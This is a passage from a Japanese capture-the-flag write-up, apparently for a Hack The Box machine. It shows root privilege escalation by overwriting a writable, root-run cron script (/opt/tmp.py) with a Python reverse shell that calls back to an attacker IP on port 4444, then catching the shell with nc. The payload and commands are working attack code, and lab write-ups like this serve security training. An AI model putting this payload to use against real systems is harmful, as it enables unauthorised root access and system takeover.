2026/05/03 20:57:01 CMD: UID=0     PID=3785   | /usr/sbin/CRON -f
2026/05/03 20:57:01 CMD: UID=0     PID=3787   | python /opt/tmp.py
2026/05/03 20:57:01 CMD: UID=0     PID=3786   | /bin/sh -c python /opt/tmp.py
2026/05/03 20:57:01 CMD: UID=0     PID=3788   | sh -c rm -r /tmp/*
2026/05/03 20:57:01 CMD: UID=0     PID=3789   | rm -r /tmp/*

上記より、/opt/tmp.pyがroot権限で定期実行されていることがわかる。 つまり、tmp.pyを書き換えできれば、root権限で任意コード実行が可能である。

/opt/tmp.py

tmp.pyの権限を調べると書き込み可能だったため、以下のリバースシェルに書き換えてみる。

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.16.187",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("/bin/sh")

ncで待ち受け、少々待機するとrootシェルが得られる。

$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.16.187] from (UNKNOWN) [10.129.34.195] 59128
# cat root.txt
a249(略)

まとめ

  • user: pop3 pass change by james -> login pop3 and get cred -> login mindy via ssh
  • root: pspy -> rewrite /opt/tmp.py